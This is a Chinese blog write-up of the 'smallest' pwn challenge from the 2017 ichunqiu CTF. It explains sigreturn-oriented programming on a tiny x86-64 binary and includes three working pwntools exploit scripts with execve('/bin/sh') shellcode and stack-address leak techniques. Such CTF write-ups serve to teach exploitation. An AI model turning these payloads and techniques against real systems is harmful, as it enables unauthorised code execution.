SROP 64位-smallest(2017429ctf.ichunqiu)

原创

MillionSky 于 2018-03-19 10:45:04 发布 957 收藏 1
分类专栏： PWN 文章标签： SROP

本文链接：https://blog.csdn.net/luozhaotian/article/details/79608220

1 概述

360春秋杯”国际网络安全挑战赛

Challenge - smallest (pwn 300) - 429 ichunqiu ctf 2017

http://2017429ctf.ichunqiu.com/competition/index

64位SROP很好的练习题。

2 程序分析

```
millionsky@ubuntu-16:~/tmp/smallest$ objdump -d smallest

smallest:     文件格式 elf64-x86-64


Disassembly of section .text:

00000000004000b0 <.text>:
  4000b0:       48 31 c0                xor    %rax,%rax
  4000b3:       ba 00 04 00 00          mov    $0x400,%edx
  4000b8:       48 89 e6                mov    %rsp,%rsi
  4000bb:       48 89 c7                mov    %rax,%rdi
  4000be:       0f 05                   syscall
  4000c0:       c3                      retq
```

3 漏洞利用

3.1 关键点

1. 可以通过发送字节的数量控制**read**的返回值控制**RAX**

这里可以利用的系统调用为：

#define __NR_write 1

#define __NR_rt_sigreturn 15

2. 如何进行SROP

问题：sigreturn在64位syscall号为15，Signal Frame的大小位0xF8,明显比15要大，如何传输SignalFrame?

方案：两次read，第一次传输SignalFrame，第二次设置rax为15

第一次read时传输的数据格式为

Return Address or SYS_read

PlaceHolder for syscall

SignalFrame

第二次read时传输的数据格式为（总共15个字节）

syscall_addr

7个字节的填充

Syscall gadget

程序本身有，如果没有，vsyscall中有

3. SROP中RSP的设置

RSP必须设置为一个可写的地址。

栈中的某些数据是指向栈的指针，泄露这些数据可以得到栈的值或一个可写的地址。

l 通过argv[0]和envp获取栈所在的页

int main(int argc, char *argv[], char *envp[])

argv[0]是一个栈地址，指向的是程序的名称；

envp中保存的都是环境变量的地址，都位于栈中；

addr = leak() & 0xfffffffffffff000

l 通过附加向量的AT_RANDOM/AT_PLATFORM获取RSP的值

附加向量中的AT_RANDOM指示栈中16字节随机数的地址。在栈中位于附加向量的后面，环境字符串的前面。可以通过这个地址计算栈中数据的地址。

AT_PLATFORM位于AT_RANDOM后面，同样可以计算RSP的值。

l SROP指向mprotect系统调用，将.text变为可写的

这样也可以得到一个可写的地址；

特别是EFL头中有程序的入口，通过它可以再次跳转到read gadget。

4. 如何泄露栈中的数据

通过**read**控制**RAX**的值为**1**（**SYS_write**），进而调用**write**系统调用。

3.2 思路1

1. Sigreturn

Read返回值控制**EAX**，设置为**sigreturn**的系统调用号**0x0f**

栈溢出，发送**Signal Frame**，执行**sigreturn**系统调用；

Sigreturn设置**RSP**指向**ELF header**中的**entry point**

2. Mprotect

sigreturn执行**mprotect**系统调用，将**text**段设置为**RWX**

3. read gadget

通过**Entry point**再次执行**read gadget**

4. Shellcode

read读取**shellcode**放入栈中，执行**shellcode**

3.3 思路2

1. Write泄露**envp**，获取栈地址

2. Sigreturn设置**RSP**为获取的地址，**RIP**设置为**read gadget**

3. Read gadget发送**Signal Frame**和**/bin/sh**

4. Sigreturn执行**execve**系统调用

3.4 思路3

1. Write泄露**auxv AT_RANDOM/AT_PLATFORM**，获取栈地址

2. Read gadget发送**Signal Frame**和**/bin/sh**

3. Sigreturn执行**execve**系统调用

4 EXP1

1. Sigreturn&mprotect&设置**RSP**

Sigreturn设置**RSP**指向**ELF header**中的**entry point**

RIP: 400c0(sys_read(pg)执行完毕**)**		
+1	**Return addr** **addr_of_sys_read(1)**	
+2	**PlaceHolder**	**'A' * 8**
+3	**Signal Frame**	

+4	'\n'	

RIP: 400c0(sys_read(1)执行完毕) 发送了0x0f个字节，即sys_sigreturn		
+2	Return addr addr_of_syscall	sigreturn
+3	Signal Frame	前7个字节被覆盖为6个\x11和1个\n
+4	'\n'	

2. 通过Entry point再次执行read gadget

RIP: 400c0(sys_sigreturn&mprotect执行完毕) RSP=elf_hdr_addr+0x18		
N+0 0x400018	Return addr addr_of_sys_read(2)	
N+1		

3. 传输并执行shellcode

RIP: 400c0(sys_read(2)执行完毕)		
N+1 0x40020	Return addr shellcode_addr	0x400028
N+1 0x40028	shellcode	
	0x0a	

5 EXP2

代码来自http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/

见附件

1. 泄露argv[0]

RIP: 400c0(sys_read(pg)执行完毕)

+0	Return addr addr_of_sys_read(1)	
+1	addr_of_rdi_syscall	mov %rax, %rdi syscall
+2	addr_of_sys_read(2)	

RIP: 400c0(sys_read(1)执行完毕)		
+1	addr_of_rdi_syscall	mov %rax, %rdi syscall 发送一个字节\xbb 覆盖原来的\xbb
+2	addr_of_sys_read(2)	

RIP: 400c0(sys_write)执行完毕)		
+2	addr_of_sys_read(2)	从sys_write中获取envp中的值，这是一个指向栈的指针
+3		

2. Sigreturn设置RSP为获取的地址，RIP设置为read gadget

RIP: 400c0(sys_read(2)执行完毕)		
+3	Return addr addr_of_sys_read(3)	
+4	PlaceHolder	d' * 8
+5X	Signal Frame	

RIP: 400c0(sys_read(3)执行完毕)
发送了0x0f个字节，即sys_sigreturn
sigreturn重新设置RSP，RIP为read

+4	Return addr addr_of_syscall	sigreturn
+5X	Signal Frame	前7个字节被覆盖为\x11

RIP: 400c0(sys_sigreturn执行完毕) RSP=addr RIP=sys_read(4)		
N+0		
N+1		

3. Sigreturn执行execve

RIP: 400c0(sys_read(4)执行完毕)		
N+0	Return addr addr_of_sys_read(5)	
N+1	PlaceHolder	b'*8
N+2	Signal Frame	sys_execve
N+3	PAD	
N+4 addr+400	/bin/sh\0	arg1--filename
N+5	addr+400	arg2[0]--filename
N+6	\0	arg2[1]--filename arg3--envp

RIP: 400c0(sys_read(5)执行完毕) 发送0x0f个字节，即RAX=sigreturn		
N+1	Return addr addr_of_syscall	
N+2	Signal Frame	前7个字节被覆盖为\x11
N+3	PAD	
N+4 addr+400	/bin/sh\0	arg1--filename
N+5	addr+400	arg2[0]--filename
N+6	\0	arg2[1]--filename arg3--envp

6 EXP3

1. Write泄露auxv，获取栈地址

RIP: 400c0(sys_read(pg)执行完毕)		
+0	Return addr addr_of_sys_read(1)	
+1	addr_of_rdi_syscall	mov %rax, %rdi syscall
+2	addr_of_sys_read(2)	

RIP: 400c0(sys_read(1)执行完毕)		
+1	addr_of_rdi_syscall	mov %rax, %rdi syscall 发送一个字节\xbb 覆盖原来的\xbb
+2	addr_of_sys_read(2)	

RIP: 400c0(sys_write)执行完毕)		
+2	addr_of_sys_read(2)	从sys_write中获取auxv AT_RANDOM的值，这是一个指向栈的指针
+3		

2. 发送Signal Frame和/bin/sh

RIP: 400c0(sys_read(2)执行完毕)		
+3	Return addr addr_of_sys_read(3)	
+4	PlaceHolder	d' * 8
+5X	Signal Frame	
+6	"/bin/sh\0"	
+7	0x0a	

3. Sigreturn执行execve系统调用

RIP: 400c0(sys_read(3)执行完毕)
发送了0x0f个字节，即sys_sigreturn
sigreturn重新设置RSP，RIP为read

+4	Return addr addr_of_syscall	sigreturn
+5X	Signal Frame	前7个字节被覆盖为Signal Frame的前7个字节

7 附件

exp1.py

```
from pwn import *

import sys



context(os='linux', arch='amd64', log_level='debug')



program_name = './smallest'

elf_hdr_addr = 0x400000

read_addr = 0x4000b0

syscall_addr = 0x4000be

shellcode="\x31\xF6\xF7\xE6\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05"

shellcode_addr=0x400028



def exploit(p):
```

```
#Signal Frame

frame = SigreturnFrame()

frame.rsp = elf_hdr_addr+0x18

frame.rax = constants.SYS_mprotect

frame.rdi = elf_hdr_addr

frame.rsi = 0x1000

frame.rdx = 0x7

frame.rip = syscall_addr


#Put Signal Frame to Stack

payload = p64(read_addr)

payload += 'A'*8

payload += str(frame)

payload += chr(0xa)
```

```
p.send(payload)



#Set rax=0x0f(sys_sigreturn)

payload = p64(syscall_addr)

payload += '\x11' * (0xf - len(payload)-1)

payload += chr(0xa)

p.send(payload)



# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')

payload = p64(shellcode_addr)

payload += shellcode

payload += chr(0xa)

p.send(payload)



p.interactive()
```

```
if __name__ == "__main__":

 if len(sys.argv) > 1:

 p = remote(sys.argv[1], int(sys.argv[2]))

 else:

 p = process(program_name)

 pause()




 exploit(p)
```

exp2.py

```
from pwn import *

context(os='linux', arch='amd64', log_level='debug')



DEBUG = 1

GDB = 0
```

```
if DEBUG:

 p = process("./smallest")

else:

 p = remote("106.75.61.55", 20000)


def pwn(addr):

 '''

 addr should be writable address

 '''

 #

 # #sigreturn set RSP & RIP

 #

 ret_addr = 0x4000b0 # another read

 syscall_addr = 0x4000be # only syscall
```

```
frame = SigreturnFrame()

frame.rsp = addr # any writable address(maybe in stack)

frame.rip = ret_addr

payload = p64(ret_addr)

payload += 'd' * 8

payload += str(frame)

p.send(payload)



# second read, enter sysreturn

payload = p64(syscall_addr)

payload += '\x11' * (15 - len(payload))

p.send(payload)



yes = raw_input()
```

```
#



# #sigreturn execve



#



# another read now, to the choosed addr as rsp



frame2 = SigreturnFrame()



frame2.rsp = addr + 400



frame2.rax = constants.SYS_execve



frame2.rdi = addr + 400



frame2.rsi = addr + 400 + len("/bin/sh\x00")



frame2.rdx = 0



frame2.rip = syscall_addr



payload = p64(ret_addr)



payload += 'b' * 8



payload += str(frame2)
```

```
payload += 'a' * (400 - len(payload))

payload += '/bin/sh\x00'

payload += p64(addr + 400)



p.send(payload)



yes = raw_input()



# another sigreturn

payload = p64(syscall_addr)

payload += '\x00' * (0xf - len(payload))

p.send(payload)



#get value of argv[0], a pointer to stack

def leak():

 read_again = 0x4000b0
```

```
rdi_syscall_addr = 0x4000bb


payload = p64(read_again)


payload += p64(rdi_syscall_addr)


payload += p64(read_again)


p.send(payload)




yes = raw_input()


p.send('\xbb')


recved = p.recvuntil('\x7f')


then = p.recv()


leak = u64(recved[-6:] + then[:2])


log.info("leaking:" + hex(leak))


return leak




def main():
```

```
if GDB:

pwnlib.gdb.attach(p)

#leak()

addr = leak() & 0xfffffffffffff000

addr -= 0x2000

log.info("on addr: " + hex(addr))

pwn(addr)

p.interactive()



if __name__ == '__main__':

main()
```

exp3.py

```
from pwn import *

import sys
```

```
context(os='linux', arch='amd64', log_level='debug')



program_name = './smallest'

read_addr = 0x4000b0

rdi_syscall_addr = 0x4000bb #mov %rax,%rdi; syscall

syscall_addr = 0x4000be



AT_SYSINFO_EHDR = 0x21

AT_RANDOM = 0x19

AT_PLATFORM = 0x0f



#argv[0]--rdi_syscall_addr

#argv[1]--read_addr

#envp[]--entry values like 0x00007fffxxxxxxxx, endwith 0x0

#auxv[key, value]--20 entry, last entry is 0x0, 0x0
```

```
#1 or 9 0x0 bytes; 16 random bytes; x86_64; 0x0 byte;


def parse_auxv(ENV_AUX_VEC):


 QWORD_LIST = []


 for i in range(0, len(ENV_AUX_VEC), 8):


 QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])



 start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table


 AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table


 AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))



 vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]


 print "[*] Base address of VDSO : %s" % hex(vdso_address)



 #offset may vary, need debug


 offset = 0x239
```

```
random_address = AUX_VEC_ENTRIES[AT_RANDOM]


buffer_address = random_address - offset


print "[*] Buffer address in stack : %s" % hex(buffer_address)


return buffer_address



def parse_auxv_2(ENV_AUX_VEC):


QWORD_LIST = []


for i in range(0, len(ENV_AUX_VEC), 8):


QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])



start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table


AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table


AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))



vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]


print "[*] Base address of VDSO : %s" % hex(vdso_address)
```

```
auxv_random_address = AUX_VEC_ENTRIES[AT_RANDOM]



auxv_random_end_index = ENV_AUX_VEC.index("x86_64")

auxv_random_start_index = auxv_random_end_index - 0x10

auxv_random_start_index += 8 #argc

buffer_address = auxv_random_address - auxv_random_start_index

print "[*] Buffer address in stack : %s" % hex(buffer_address)

return buffer_address



def parse_auxv_3(ENV_AUX_VEC):

QWORD_LIST = []

for i in range(0, len(ENV_AUX_VEC), 8):

QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])



start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
```

```
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (19 * 2)] # size of auxillary table

AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))



vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]

print "[*] Base address of VDSO : %s" % hex(vdso_address)



auxv_platform_address = AUX_VEC_ENTRIES[AT_PLATFORM]



auxv_platform_index = ENV_AUX_VEC.index("x86_64")

auxv_platform_index += 8 #argc

buffer_address = auxv_platform_address - auxv_platform_index

print "[*] Buffer address in stack : %s" % hex(buffer_address)

return buffer_address



def exploit(p):

#SYS_write, get buffer addr
```

```
payload = p64(read_addr)

payload += p64(rdi_syscall_addr)

payload += p64(read_addr)

payload += chr(0xa)

p.send(payload)



p.send('\xbb') #first byte of rdi_syscall_addr

ENV_AUX_VEC = p.recv(0x400)

buffer_address = parse_auxv_3(ENV_AUX_VEC)



#Signal Frame

frame = SigreturnFrame()

frame.rsp = buffer_address

frame.rax = constants.SYS_execve
```

```
frame.rdi = buffer_address+0x28+len(str(frame))



frame.rsi = 0



frame.rdx = 0



frame.rip = syscall_addr




print "[*] rdi=%s" % hex(frame.rdi)




#Put Signal Frame to Stack



payload = p64(read_addr)



payload += 'A'*8



payload += str(frame)



payload += '/bin/sh\x00'



payload += chr(0xa)



p.send(payload)




#Set rax=0x0f(sys_sigreturn)
```

```
payload = p64(syscall_addr)

payload += '\x11' * (0xf - len(payload)-1)

payload += chr(0xa)

p.send(payload)



p.interactive()



if __name__ == "__main__":

if len(sys.argv) > 1:

p = remote(sys.argv[1], int(sys.argv[2]))

else:

p = process(program_name)

pause()



exploit(p)
```

8 结论

研究本题，应熟悉x64 SROP的利用

9 参考文章

1. http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/。

2. Return to VDSO using ELF Auxiliary Vectors。
https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html。